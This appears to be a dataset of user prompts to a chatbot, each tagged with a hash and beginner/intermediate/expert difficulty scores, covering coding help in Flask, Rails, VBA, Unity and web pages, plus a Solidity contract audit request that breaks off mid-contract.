36,493
Which chat gpt version are you running on?
d4ba9810b06cdb2c6af19c45ceb05a06
{ "intermediate": 0.3016161024570465, "beginner": 0.24732966721057892, "expert": 0.45105430483818054 }
36,494
i am a gp doctor. teach me how to take a history from acute gastrits
00bdefe7edad7c49c4fa91ed62070d5e
{ "intermediate": 0.38134288787841797, "beginner": 0.30127090215682983, "expert": 0.3173861801624298 }
36,495
How do I create a file with necessary dependencies for a python project?
08e5f4ffb07f022f01698460103935ce
{ "intermediate": 0.6030253767967224, "beginner": 0.16450032591819763, "expert": 0.23247429728507996 }
36,496
Please explain the below code and it's functioning, especially how the username is formed. import hashlib from logging import Logger import random import flask from flask import Flask, redirect, request, jsonify import jwt from requests import session import Model.models import datetime import Common_Function.CommonFun import Connection.const from sqlalchemy import or_ from Common_Function import Shared_Library as CommonModule #from app import encode_auth_token import app # import Common_Function.Logs # logger=Common_Function.Logs.getloggingDetails() Session = Connection.const.connectToDatabase() Login_Blueprint = CommonModule.flask.Blueprint( 'Login_Blueprint', import_name=__name__) @Login_Blueprint.route('/validCredential', methods=['GET','POST']) def validCredential(): session = Session() try: if(request.method == "POST"): RequestIp = hashlib.md5((request.remote_addr).encode()) RequestIp = RequestIp.hexdigest() #print(RequestIp) VerifyIPAdd = Common_Function.CommonFun.verifyIP(RequestIp) if(int(VerifyIPAdd)==0): session = Session() request_json = request.get_json() if(request_json!='' and request_json!=None): username = request_json.get('username') pswd = request_json.get('pswd') DbUserName= session.query(Model.models.Application.M_PatientsDtl.MPD_Name, Model.models.Application.M_PatientsDtl.MPDID, Model.models.Application.M_PatientsDtl.MPD_hashedPassword ).filter_by(MPD_Username=username, MPD_IsActive=1,MPD_User=1, MPD_IsDeleted=0 ).all() # session.commit() if(len(DbUserName) > 0): getDbUserName = session.query(Model.models.Application.M_PatientsDtl.MPD_Name, Model.models.Application.M_PatientsDtl.MPDID, Model.models.Application.M_PatientsDtl.MPD_Mobile, Model.models.Application.M_PatientsDtl.MPD_hashedPassword).filter_by( MPD_hashedPassword=pswd, MPD_Username=username, MPD_User=1, MPD_IsActive=1, MPD_IsDeleted=0).all() if(len(getDbUserName) > 0): disable= disabletoken(username) token = app.encode_auth_token(username,getDbUserName[0].MPDID) ChildCounts = Common_Function.CommonFun.Childcount(getDbUserName[0].MPD_Mobile) # print(ChildCounts) Id = getDbUserName[0].MPDID Mobile = getDbUserName[0].MPD_Mobile add_Token(token,username,Id) # print(token) output = [] eId=Common_Function.CommonFun.encryptString(str(Id)) output.append({'PatientID':eId,'Mobile':Mobile,'token':token,'ChildCount':ChildCounts,'Name':getDbUserName[0].MPD_Name }) return jsonify(result=output) else: return jsonify({'error':'Please enter correct password'}) else: return jsonify({'error':'Not Registered'}) else: return jsonify({'error':'JSON not available'}) else: return jsonify({'error':'IP is not allowed Please contact Admin'}) else: return jsonify({'error':'method not allowed'}) finally: session.close() def add_Token(token,username,Id): session = Session() try: Insert= Model.models.Application.T_TokenLog() Insert.TL_Token=token Insert.TL_UserName=username Insert.TL_UserId=Id Insert.TL_AddDate=datetime.datetime.now() Insert.TL_AddIp=request.remote_addr Insert.TL_IsActive=1 Insert.TL_IsDeleted=0 session.add(Insert) session.commit() session.close() except Exception as e: print(e) def disabletoken(username): session = Session() try: session.query(Model.models.Application.T_TokenLog ).filter(Model.models.Application.T_TokenLog.TL_UserName==username ).update({Model.models.Application.T_TokenLog.TL_IsDeleted:0}) session.commit() session.close() except Exception as e: print(e)
ffc7ed15631290dc686adc10144d4410
{ "intermediate": 0.48929041624069214, "beginner": 0.45784035325050354, "expert": 0.05286923423409462 }
36,497
can you help me with this (assigment is in python): We will use an algebraic approach to perform the triangulation. Assuming we have a 2D correspondence between x1 in the first image plane and x2 in the second image plane (in homogeneous coordinates), a location of the common point X in 3D space (4D in homogenous coordinates) is given by relations λ1x1 = P1X (10) λ2x2 = P2X. (11) where λ1, λ2 ∈ R. We know that a vector product between parallel vectors is 0 so we use x1 × λ1x1 = 0 and get: x1 × P1X = [x1×]P1X = 0 (12) x2 × P2X = [x2×]P2X = 0, (13) where we have used the following form (shear-symmetric form) to get rid of a vector product: a × b = [x1×]b =   0 −az ay az 0 −ax −ay ax 0   b.
be49fdabc088e75320ce6e86094492cd
{ "intermediate": 0.43803641200065613, "beginner": 0.2675938606262207, "expert": 0.29436972737312317 }
36,498
convert this into postgresl command on ruby on rails
376459a78835ba056b758ee19810f775
{ "intermediate": 0.5473558306694031, "beginner": 0.24657389521598816, "expert": 0.20607027411460876 }
36,499
convert this into postgresl command on ruby on rails schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ? OR stations.name = ? OR stations.name = ?", "#{departure_station} %", "#{destination_station} %", "#{departure_station}", "#{destination_station}") .group('schedules.id') .having('COUNT(DISTINCT stations.name) >= 2') .distinct .includes(:stations, route: :bus_schedule)
72a548dd398db4673344a4a8f45c27ab
{ "intermediate": 0.3622035086154938, "beginner": 0.42369773983955383, "expert": 0.21409872174263 }
36,500
any problem with sql query , my db in postgresql require 'time' class Api::V1::TestController < ApplicationController def index departure_station = params[:departure]&.upcase destination_station = params[:destination]&.upcase time = params[:time].present? ? Time.parse(params[:time]) : nil exclude = params[:restrict]&.downcase == 'true' if departure_station && destination_station schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ? OR stations.name = ? OR stations.name = ?", "#{departure_station} %", "#{destination_station} %", "#{departure_station}", "#{destination_station}") .group('schedules.*') .having('COUNT(DISTINCT stations.name) >= 2') .distinct .includes(:stations, route: :bus_schedule) trips = schedules.map do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) departure_index = station_names.index { |name| name =~ /#{departure_station}/i } destination_index = station_names.index { |name| name =~ /#{destination_station}/i } if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } trip_data[:stations] = trip_data[:stations][departure_index..destination_index] if exclude trip_data end end.compact sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] =~ /#{departure_station}/i }[:departureTime] Time.parse(time_str) end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end
3d20d228dccc30d800a9a87f4701d26d
{ "intermediate": 0.34047839045524597, "beginner": 0.4104047119617462, "expert": 0.249116912484169 }
36,501
require 'time' class Api::V1::TestController < ApplicationController def index departure_station = params[:departure]&.upcase destination_station = params[:destination]&.upcase time = params[:time].present? ? Time.parse(params[:time]) : nil exclude = params[:restrict]&.downcase == 'true' if departure_station && destination_station schedules = Schedule.joins(:stations) .where("stations.name LIKE ? OR stations.name LIKE ? OR stations.name = ? OR stations.name = ?", "#{departure_station} %", "#{destination_station} %", "#{departure_station}", "#{destination_station}") .group('schedules.id') .having('COUNT(DISTINCT stations.name) >= 2') .distinct .includes(:stations, route: :bus_schedule) trips = schedules.map do |schedule| stations = schedule.stations.order(:id) station_names = stations.map(&:name) departure_index = station_names.index { |name| name =~ /#{departure_station}/i } destination_index = station_names.index { |name| name =~ /#{destination_station}/i } if departure_index && destination_index && departure_index < destination_index departure_station_data = stations[departure_index] departure_time = Time.parse(departure_station_data.departure_time) next if time && departure_time < time trip_data = { vehicle_number: schedule.route.bus_schedule.vehicle_number, trip: schedule.trip, stations: stations.map do |station| { station: station.name, arrivalTime: station.arrival_time, departureTime: station.departure_time } end } trip_data[:stations] = trip_data[:stations][departure_index..destination_index] if exclude trip_data end end.compact sorted_trips = trips.sort_by do |trip| time_str = trip[:stations].find { |station| station[:station] =~ /#{departure_station}/i }[:departureTime] Time.parse(time_str) end render json: sorted_trips, status: :ok else render json: { error: 'Departure and destination stations are required. ' }, status: :unprocessable_entity end end end PG::GroupingError: ERROR: column "stations.id" must appear in the GROUP BY clause or be used in an aggregate function LINE 1: ..._at" AS t0_r3, "schedules"."updated_at" AS t0_r4, "stations"... ^
c3922b1bf6cd673f68654ec71aeaad79
{ "intermediate": 0.35327476263046265, "beginner": 0.3332323133945465, "expert": 0.31349295377731323 }
36,502
SQLAlchemy eager loading feature
9d5af648ce5bf8f43bff45fa59934fdf
{ "intermediate": 0.4681157171726227, "beginner": 0.22763945162296295, "expert": 0.30424484610557556 }
36,503
how to accelerate recursive request to db with sqlalchemy
14c616deee54445f99c0df996cddef42
{ "intermediate": 0.4053075909614563, "beginner": 0.08825114369392395, "expert": 0.5064412355422974 }
36,504
Hello. What is the capital of the australia?
068151b46e37bd606a730a14ee16c15d
{ "intermediate": 0.35551661252975464, "beginner": 0.2945205271244049, "expert": 0.34996286034584045 }
36,505
With the VBA code below, when the workbook 'Schedule Checks.xlsm' is closed an not open, I still get the message "DAILY SCHEDULE WORKBOOK WAS FOUND OPEN" The code is not correctly identifying when the workbook is closed. Private Sub Workbook_BeforeClose(Cancel As Boolean) Dim wb As Workbook Dim scheduleFile As Workbook Dim scheduleFileFound As Boolean For Each wb In Workbooks If wb.Name = "Schedule Checks.xlsm" Then ' Workbook is open, proceed with your code Exit For End If Next wb On Error Resume Next Set scheduleFile = Workbooks("Schedule Checks.xlsm") On Error GoTo 0 If Err.Number = 0 Then ' Check for error specifically scheduleFileFound = True ' Workbook is open, display a message box with options Dim response As Integer response = MsgBox("DAILY SCHEDULE WORKBOOK WAS FOUND OPEN" & vbCrLf & vbCrLf & _ "YES to close it and Save Changes" & vbCrLf & _ "NO to close it and NOT Save Changes?", _ vbCritical + vbYesNo, "CLOSE OPEN WORKBOOK") If response = vbYes Then ' Close and save changes scheduleFile.Close SaveChanges:=True Else ' Close without saving changes scheduleFile.Close SaveChanges:=False End If Else ' Workbook is not open, proceed to the "Closer" section GoTo Closer End If Closer: Application.ScreenUpdating = False ThisWorkbook.Worksheets("Today").Range("G2").Value = "no" ThisWorkbook.Worksheets("Today").Range("G21").Value = "" ThisWorkbook.Worksheets("Notes").Activate Application.ScreenUpdating = True End Sub
fac5f1a1b79a5aadcae5ddbd00f0b678
{ "intermediate": 0.48232507705688477, "beginner": 0.25955167412757874, "expert": 0.2581231892108917 }
36,506
Assume the role of an expert unity 2020.2.6f1 developer with a focus on visual studio 2017. I want to provide you some scripts. I need to fully edit a system from the script Grindable surface to have all the features of a script called hoverBoardWayPoints but still be fully compatible with its own project. I will provide the first script for consideration. Please do not respond until I have provided you the second script. Script 1: using UnityEngine; public class GrindableSurface : MonoBehaviour { [Header("Grind Path")] public Transform startPoint; // Where the player will be positioned when starting the grind public Transform endPoint; // The end of the grind [Header("Surface Properties")] public float grindingSpeed = 5f; // The speed at which the player will move along the grind public Vector3 direction; // Direction calculated from the start to the end point [Header("Grinding Events")] public UnityEngine.Events.UnityEvent OnGrindStart; public UnityEngine.Events.UnityEvent OnGrindEnd; private bool isGrinding = false; void Awake() { if (startPoint != null && endPoint != null) { // Direction from start to end normalized direction = (endPoint.position - startPoint.position).normalized; } } void OnTriggerEnter(Collider other) { if (other.CompareTag("Player") && !isGrinding) { StartGrind(); } } void OnTriggerExit(Collider other) { if (other.CompareTag("Player") && isGrinding) { StopGrind(); } } void StartGrind() { isGrinding = true; OnGrindStart.Invoke(); } void StopGrind() { isGrinding = false; OnGrindEnd.Invoke(); } public Vector3 GetDirection() { return direction; } public float GetSpeed() { return grindingSpeed; } }
2324db535eec66c9279833f376ae0b2a
{ "intermediate": 0.4149288833141327, "beginner": 0.3260962665081024, "expert": 0.25897490978240967 }
36,507
Assets\Scripts\HoverboardGrindController.cs(15,12): error CS0246: The type or namespace name 'GrindableSurface' could not be found (are you missing a using directive or an assembly reference?) Assets\Scripts\HoverboardGrindController.cs(19,12): error CS0246: The type or namespace name 'GrindableSurface' could not be found (are you missing a using directive or an assembly reference?) Assets\Scripts\HoverboardGrindController.cs(45,27): error CS0246: The type or namespace name 'GrindableSurface' could not be found (are you missing a using directive or an assembly reference?) Script 1: using UnityEngine; using UnityEngine.UI; public class HoverboardGrindController : MonoBehaviour { [Header("Grind UI")] public Slider grindBalanceSlider; // Assign the slider in the inspector [Header("Grind Detection")] public float detectionRadius = 5f; public LayerMask grindableLayer; public KeyCode grindKey = KeyCode.G; // Key to start grinding // Make isGrinding and CurrentGrindSurface public public GrindableSurface CurrentGrindSurface { get; private set; } public bool IsGrinding { get; private set; } // Make FindClosestGrindableSurface and StartGrinding public public GrindableSurface FindClosestGrindableSurface() { Collider[] hits = Physics.OverlapSphere(transform.position, detectionRadius, grindableLayer); GrindableSurface closestSurface = null; float closestDistanceSqr = Mathf.Infinity; Vector3 currentPosition = transform.position; foreach (Collider hit in hits) { GrindableSurface surface = hit.GetComponent<GrindableSurface>(); if (surface != null) { Vector3 directionToSurface = hit.transform.position - currentPosition; float dSqrToSurface = directionToSurface.sqrMagnitude; if (dSqrToSurface < closestDistanceSqr) { closestDistanceSqr = dSqrToSurface; closestSurface = surface; } } } return closestSurface; } // Make FindClosestGrindableSurface and StartGrinding public public void StartGrinding(GrindableSurface grindSurface) { IsGrinding = true; CurrentGrindSurface = grindSurface; // Set the current grind surface grindBalanceSlider.gameObject.SetActive(true); // You can run additional logic here (like animations, scoring system, etc.) } // Update method (includes key press logic) public void Update() { // Check for grind key press and toggle grinding if (Input.GetKeyDown(grindKey)) { CurrentGrindSurface = FindClosestGrindableSurface(); if (CurrentGrindSurface != null) { StartGrinding(CurrentGrindSurface); } } else if (Input.GetKeyUp(grindKey)) { EndGrinding(); } if (IsGrinding) { GrindAlongSurface(); UpdateGrind(); // Call the UpdateGrind method from HoverboardGrindController // HandleGrindBalance(); // You can implement balance functionality here if needed } } // Method to end grinding public void EndGrinding() { SetGrinding(false); // Use the SetGrinding method to safely change the grind state. grindBalanceSlider.gameObject.SetActive(false); // You can run additional logic here (like animations, scoring system, etc.) } // Method to handle movement along the surface while grinding private void GrindAlongSurface() { if (CurrentGrindSurface != null) { transform.position += CurrentGrindSurface.GetDirection() * CurrentGrindSurface.GetSpeed() * Time.deltaTime; // Here you could add checks to see if the grind has reached the end of the surface // And additional logic such as effects, scoring, and so on } } // Update grind logic private void UpdateGrind() { // Update grind logic } // Method to set the grinding state public void SetGrinding(bool isGrinding) { IsGrinding = isGrinding; if (!IsGrinding) { CurrentGrindSurface = null; // Ensure it’s null when you stop grinding } } } Script 2:using UnityEngine; using System.Collections; // Correct using directive for coroutines using UnityEngine.Events; using System.Collections.Generic; [System.Serializable] public class Waypoint { public Transform position; public UnityEvent OnReachWaypoint; // Custom event on each waypoint if needed } public class IntegratedGrindHoverSystem : MonoBehaviour { [Header("Waypoint Path")] public List<Waypoint> waypoints; // List of all waypoints for the system [Header("Movement Properties")] public float movementSpeed = 5f; public bool moveInOneDirection = true; public bool modifyMovementSpeedEnabled = true; public float maxMovementSpeed = 2f; public float minMovementSpeed = 0.1f; public float modifyMovementSpeedFactor = 5f; [Header("Events")] public UnityEvent OnPathStart; public UnityEvent OnPathEnd; private Transform targetObject; // The object (player or vehicle) currently moving along the path private bool isMoving = false; private float speedMultiplier = 1f; private Coroutine moveCoroutine; // Added variable to store the coroutine reference void OnTriggerEnter(Collider other) { if (other.CompareTag("Player") && !isMoving) { targetObject = other.transform; OnPathStart.Invoke(); // Start the coroutine and store the reference moveCoroutine = StartCoroutine(MoveAlongPath()); } } void OnTriggerExit(Collider other) { if (other.CompareTag("Player") && isMoving) { // Stop the coroutine using the stored reference if (moveCoroutine != null) { StopCoroutine(moveCoroutine); moveCoroutine = null; // Reset the coroutine reference } OnPathEnd.Invoke(); isMoving = false; } } IEnumerator MoveAlongPath() { isMoving = true; int waypointIndex = 0; float movementSpeedAdjustment = movementSpeed; while (waypointIndex < waypoints.Count) { Waypoint currentWaypoint = waypoints[waypointIndex]; while (Vector3.Distance(targetObject.position, currentWaypoint.position.position) > 0.01f) { // Implement dynamic speed modification if required if (modifyMovementSpeedEnabled) { // Here we would need access to input or current state to adjust speedMultiplier // For example: speedMultiplier = Mathf.Lerp(speedMultiplier, targetInput, Time.deltaTime * modifyMovementSpeedFactor); } movementSpeedAdjustment = movementSpeed * speedMultiplier; // Move the targetObject towards the current waypoint targetObject.position = Vector3.MoveTowards(targetObject.position, currentWaypoint.position.position, Time.deltaTime * movementSpeedAdjustment); yield return null; } // Invoke custom events per waypoint if needed currentWaypoint.OnReachWaypoint.Invoke(); if (moveInOneDirection) { waypointIndex++; } else { // Implement logic for bi-directional movement if needed } } OnPathEnd.Invoke(); isMoving = false; moveCoroutine = null; // Reset the coroutine reference } // … Implementation of Gizmo visualization and dynamic waypoint handling from hoverBoardWayPoints … // You might need to expand here for functionality like adding/removing waypoints, visualization, and so on, based on hoverBoardWayPoints script } Fix please
2dbf4b16d378196cdac8920a30174360
{ "intermediate": 0.3431228995323181, "beginner": 0.5260830521583557, "expert": 0.13079406321048737 }
36,508
Write me code for a website to showcase my photos
8882f93b21f1cd63a0b77aab3fdd58c2
{ "intermediate": 0.3731996417045593, "beginner": 0.2904570400714874, "expert": 0.33634334802627563 }
36,509
In my excel worksheet 'Observe' cells in column C2:C50 use a list to enter values. I want a way to ensure that a value from the list can not be entered in the range more than eight times.
bbac463110e568af67d88a474bddba66
{ "intermediate": 0.3926772177219391, "beginner": 0.2525732219219208, "expert": 0.3547496199607849 }
36,510
make a code using html css and javascript for beautiful and elegant webpage
a69392fbbab00790dd18b58f1b89fa82
{ "intermediate": 0.45484811067581177, "beginner": 0.24100418388843536, "expert": 0.3041476905345917 }
36,511
hey can u make some games using only html css and javascript
9ab6be2d5142196e52e40e8d71f9c193
{ "intermediate": 0.374406635761261, "beginner": 0.3152831196784973, "expert": 0.3103102445602417 }
36,512
i want to build a website like fiverr using free tool to check it before buying the domain
001b0170666539f889433df7031bc0bf
{ "intermediate": 0.3874574303627014, "beginner": 0.21229907870292664, "expert": 0.40024349093437195 }
36,513
app.post('/api/lab/accept-lab-reports', upload.single("file"), async (req, res) => { try { const file = req.file; const { orderId, LabID, reportStatus } = req.body; if (!orderId || !LabID) { const errMsg = 'orderId and LabID are required'; logger.error(errMsg); return res .status(400) .json({ error: errMsg }); } await postReceivedAttachment(orderId, LabID, file); } catch (error) { console.error('Error during Lab Result Attachment processing:', error.message ? error.message : error); res.status(500); res.json({ Status: 'FAILED', StatusMessage: 'Internal Server Error', StatusCode: 1, }); } }); This is how the call comes to this above method curl --location 'http://localhost:3462/api/lab/accept-lab-reports' \ --header 'vendor: Anandlabs' \ --header 'vendor_token: f441c3c7-ab5d-4e8c-8774-d3627c0acf69' \ --form 'file=@"/Users/sai/Downloads/1716.pdf"' \ --form 'data="{\"orderId\": \"2023/270/4\", \"LabID\": \"RN885181\"}";type=application/json' But how to read the data properly ? I have to read the file and create it as a base64 string
594fda08d1756cd21892219605bddef0
{ "intermediate": 0.6797659993171692, "beginner": 0.17419883608818054, "expert": 0.14603517949581146 }
36,514
write me a code for a website in html with css and js inlined. The website should have a header with 'hello' written in it in a lovely font. the theme of the website is love. in the body of the website, three images should be floating infinitely, first image should be at the left of the body going from down to up, the second image should be at the middle and should be going from up to down and the third one should be at the right and should be going from down to up but a different phase with the first one. all images should be of same and standard size and should not cover the whole body. For the background of the body, there should be pink gradient sky with a white moon at the top left corner and the raise should be coming out of it , dispersing in a natural way, this layer is below the images and as the images passes over the rays, they should interact like showing shadows and illuminating etc. Above the image layer, there should be a text written at the centre of the body in a lovely font - 'i love u!!' . this text should be glowing. After the body at the footer, there should be a section with a complementary color to the gradient sky with 'comeback soon, i will be waiting' written on it in a lovely and glowing font. here the link for the image, use this link for all three images - https://images.unsplash.com/photo-1701743804479-d4e4c525d548?q=80&w=1964&auto=format&fit=crop&ixlib=rb-4.0.3&ixid=M3wxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8fA%3D%3D
7a1ca8e7121ce4d6dedf4349bf2f35ca
{ "intermediate": 0.3585425317287445, "beginner": 0.29599934816360474, "expert": 0.34545809030532837 }
36,515
how read json from ms sql database and replace div id in aspx web page in visual basic
8becd75631123e3e2c96f47482dbe68f
{ "intermediate": 0.6132718920707703, "beginner": 0.20003628730773926, "expert": 0.1866917759180069 }
36,516
how read json in js from backend in aspx .net
c0bc722c1d5872d626a585b3120593b2
{ "intermediate": 0.6763927340507507, "beginner": 0.11067602783441544, "expert": 0.21293118596076965 }
36,517
Here is a part of a script used for Unity: <script> Vector3[] GetPointsInCircle(Vector3 shift, Vector3 up, int nbPoints, float radius) { float deltaAngle = 360 / nbPoints; Vector3[] points = new Vector3[nbPoints]; Vector3 direction = Vector3.right; Vector3 orbit; Quaternion lookRotation = Quaternion.LookRotation(direction, up); Vector3 rightRadius = Vector3.right * radius; for (int i = 0; i < nbPoints; i++) { float angle = i * deltaAngle; orbit = lookRotation * Quaternion.Euler(0, angle, 0) * rightRadius; points[i] = shift + orbit; } return points; } </script> Modify it so that it stores values that are used often, and use them to avoid unecessary computations for the next times.
8a99f29c680ac68ea3551de05c200d35
{ "intermediate": 0.43852925300598145, "beginner": 0.22760553658008575, "expert": 0.3338651657104492 }
36,518
how read json in js from backend in aspx .net and replace div element
c0284a6f95427d410a67a5360b53ba53
{ "intermediate": 0.7026417255401611, "beginner": 0.1259114146232605, "expert": 0.17144690454006195 }
36,519
⨯ node_modules/@zegocloud/zego-uikit-prebuilt/zego-uikit-prebuilt.js (5187:30) @ eval ⨯ ReferenceError: document is not defined at __webpack_require__ (/Users/mac/Desktop/myWeb/.next/server/webpack-runtime.js:33:43) at eval (./components/dashboard/callvid/zigoCloud.tsx:10:88) at (ssr)/./components/dashboard/callvid/zigoCloud.tsx (/Users/mac/Desktop/myWeb/.next/server/app/(dashboard)/doctor/call/page.js:427:1) at __webpack_require__ (/Users/mac/Desktop/myWeb/.next/server/webpack-runtime.js:33:43) at eval (doctor/call/page.tsx:12:97) at (ssr)/./app/(dashboard)/doctor/call/page.tsx (/Users/mac/Desktop/myWeb/.next/server/app/(dashboard)/doctor/call/page.js:394:1) at __webpack_require__ (/Users/mac/Desktop/myWeb/.next/server/webpack-runtime.js:33:43) at JSON.parse (<anonymous>)
abfe0b9a26438bfe6c9f78d147af14c0
{ "intermediate": 0.3956141769886017, "beginner": 0.31662243604660034, "expert": 0.2877632975578308 }
36,520
how do I run a single html file
b7faacab39d6ab2e1c9bf753a9e3a124
{ "intermediate": 0.3915077745914459, "beginner": 0.4029812216758728, "expert": 0.20551101863384247 }
36,521
Review and scan line by line the code, looking for any trace of vulnerabilities and find the correct vulnerability that is exist in this contract with depth understanding in solidity and in finding vulnerability and then confirm the vulnerability with evidence and give the vulnerable part that cause the bug with explaining and then give high-quality bug report // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import {CoreRef} from "@src/core/CoreRef.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; import {CreditToken} from "@src/tokens/CreditToken.sol"; import {ProfitManager} from "@src/governance/ProfitManager.sol"; import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol"; /// @notice Simple PSM contract of the Ethereum Credit Guild, that allows mint/redeem /// of CREDIT token outside of lending terms & guarantee a stable peg of the CREDIT token /// around the value targeted by the protocol. /// The SimplePSM targets a value equal to ProfitManager.creditMultiplier(), so when bad /// debt is created and all loans are marked up, they stay the same in terms of peg token, /// because new CREDIT can be minted with fewer peg tokens from the PSM. Conversely, when /// new loans are issued, if there are funds available in the SimplePSM, borrowers know /// the amount of peg tokens they'll be able to redeem their borrowed CREDIT for. /// @dev inspired by the SimpleFeiDaiPSM used in the TribeDAO shutdown, see: /// - https://github.com/code-423n4/2022-09-tribe/blob/main/contracts/peg/SimpleFeiDaiPSM.sol /// - https://code4rena.com/reports/2022-09-tribe contract SimplePSM is CoreRef { using SafeERC20 for ERC20; /// @notice reference to the ProfitManager contract address public immutable profitManager; /// @notice reference to the CreditToken contract address public immutable credit; /// @notice reference to the peg token contract address public immutable pegToken; /// @notice peg token balance, used to track sum of i/o and exclude donations. /// invariant: pegToken.balanceOf(this) >= pegTokenBalance uint256 public pegTokenBalance; /// @notice multiplier for decimals correction, e.g. 1e12 for a pegToken /// with 6 decimals (because CREDIT has 18 decimals) uint256 public immutable decimalCorrection; /// @notice true if the redemptions are currently paused bool public redemptionsPaused; /// @notice event emitted upon a redemption event Redeem( uint256 indexed when, address indexed to, uint256 amountIn, uint256 amountOut ); /// @notice event emitted when credit gets minted event Mint( uint256 indexed when, address indexed to, uint256 amountIn, uint256 amountOut ); /// @notice event emitted when redemption pausability status changes event RedemptionsPaused(uint256 indexed when, bool status); constructor( address _core, address _profitManager, address _credit, address _pegToken ) CoreRef(_core) { profitManager = _profitManager; credit = _credit; pegToken = _pegToken; uint256 decimals = uint256(ERC20(_pegToken).decimals()); decimalCorrection = 10 ** (18 - decimals); } /// @notice calculate the amount of CREDIT out for a given `amountIn` of underlying function getMintAmountOut(uint256 amountIn) public view returns (uint256) { uint256 creditMultiplier = ProfitManager(profitManager) .creditMultiplier(); return (amountIn * decimalCorrection * 1e18) / creditMultiplier; } /// @notice calculate the amount of underlying out for a given `amountIn` of CREDIT function getRedeemAmountOut( uint256 amountIn ) public view returns (uint256) { uint256 creditMultiplier = ProfitManager(profitManager) .creditMultiplier(); return (amountIn * creditMultiplier) / 1e18 / decimalCorrection; } /// @notice calculate the total number of CREDIT that can be redeemed /// at the moment, based on the pegTokenBalance. function redeemableCredit() public view returns (uint256) { return getMintAmountOut(pegTokenBalance); } /// @notice mint `amountOut` CREDIT to address `to` for `amountIn` underlying tokens /// @dev see getMintAmountOut() to pre-calculate amount out function mint( address to, uint256 amountIn ) external whenNotPaused returns (uint256 amountOut) { amountOut = getMintAmountOut(amountIn); pegTokenBalance += amountIn; ERC20(pegToken).safeTransferFrom(msg.sender, address(this), amountIn); CreditToken(credit).mint(to, amountOut); emit Mint(block.timestamp, to, amountIn, amountOut); } /// @notice mint `amountOut` CREDIT to `msg.sender` for `amountIn` underlying tokens /// and enter rebase to earn the savings rate. /// @dev see getMintAmountOut() to pre-calculate amount out function mintAndEnterRebase( uint256 amountIn ) external whenNotPaused returns (uint256 amountOut) { require( !CreditToken(credit).isRebasing(msg.sender), "SimplePSM: already rebasing" ); amountOut = getMintAmountOut(amountIn); pegTokenBalance += amountIn; ERC20(pegToken).safeTransferFrom(msg.sender, address(this), amountIn); CreditToken(credit).mint(msg.sender, amountOut); CreditToken(credit).forceEnterRebase(msg.sender); emit Mint(block.timestamp, msg.sender, amountIn, amountOut); } /// @notice redeem `amountIn` CREDIT for `amountOut` underlying tokens and send to address `to` /// @dev see getRedeemAmountOut() to pre-calculate amount out function redeem( address to, uint256 amountIn ) external returns (uint256 amountOut) { require(!redemptionsPaused, "SimplePSM: redemptions paused"); amountOut = getRedeemAmountOut(amountIn); CreditToken(credit).burnFrom(msg.sender, amountIn); pegTokenBalance -= amountOut; ERC20(pegToken).safeTransfer(to, amountOut); emit Redeem(block.timestamp, to, amountIn, amountOut); } /// @notice set `redemptionsPaused` /// governor-only, to allow full governance to update the psm mechanisms, /// or automated processes to pause redemptions under certain conditions. function setRedemptionsPaused( bool paused ) external onlyCoreRole(CoreRoles.GOVERNOR) { redemptionsPaused = paused; emit RedemptionsPaused(block.timestamp, paused); } }
04947344c5b56482860f69cfa51ddb73
{ "intermediate": 0.3457556664943695, "beginner": 0.2556082308292389, "expert": 0.3986361026763916 }
36,522
how to change animations by animation name on Unity
0f81c008908ef750c705bbd635cb0802
{ "intermediate": 0.3893553912639618, "beginner": 0.3078789710998535, "expert": 0.30276554822921753 }
36,523
review if this correct and valid or invalid issue HERE in this contract // SPDX-License-Identifier: MIT pragma solidity 0.8.13; import {CoreRef} from "@src/core/CoreRef.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; /// @notice Auction House contract of the Ethereum Credit Guild, /// where collateral of borrowers is auctioned to cover their CREDIT debt. contract AuctionHouse is CoreRef { /// @notice emitted when au action starts event AuctionStart( uint256 indexed when, bytes32 indexed loanId, address collateralToken, uint256 collateralAmount, uint256 callDebt ); /// @notice emitted when au anction ends event AuctionEnd( uint256 indexed when, bytes32 indexed loanId, address collateralToken, uint256 collateralSold, uint256 debtRecovered ); /// @notice number of seconds before the midpoint of the auction, at which time the /// mechanism switches from "offer an increasing amount of collateral" to /// "ask a decreasing amount of debt". uint256 public immutable midPoint; /// @notice maximum duration of auctions, in seconds. /// with a midpoint of 650 (10m50s) and an auction duration of 30min, and a block every /// 13s, first phase will last around 50 blocks and each block will offer an additional /// 1/(650/13)=2% of the collateral during the first phase. During the second phase, /// every block will ask 1/((1800-650)/13)=1.13% less CREDIT in each block. uint256 public immutable auctionDuration; struct Auction { uint256 startTime; uint256 endTime; address lendingTerm; uint256 collateralAmount; uint256 callDebt; } /// @notice the list of all auctions that existed or are still active. /// key is the loanId for which the auction has been created. /// @dev see public getAuction(loanId) getter. mapping(bytes32 => Auction) internal auctions; /// @notice number of auctions currently in progress uint256 public nAuctionsInProgress; constructor( address _core, uint256 _midPoint, uint256 _auctionDuration ) CoreRef(_core) { require(_midPoint < _auctionDuration, "AuctionHouse: invalid params"); midPoint = _midPoint; auctionDuration = _auctionDuration; } /// @notice get a full auction structure from storage function getAuction(bytes32 loanId) external view returns (Auction memory) { return auctions[loanId]; } /// @notice start the auction of the collateral of a loan, to be exchanged for CREDIT, /// in order to pay the debt of a loan. /// @param loanId the ID of the loan which collateral is auctioned /// @param callDebt the amount of CREDIT debt to recover 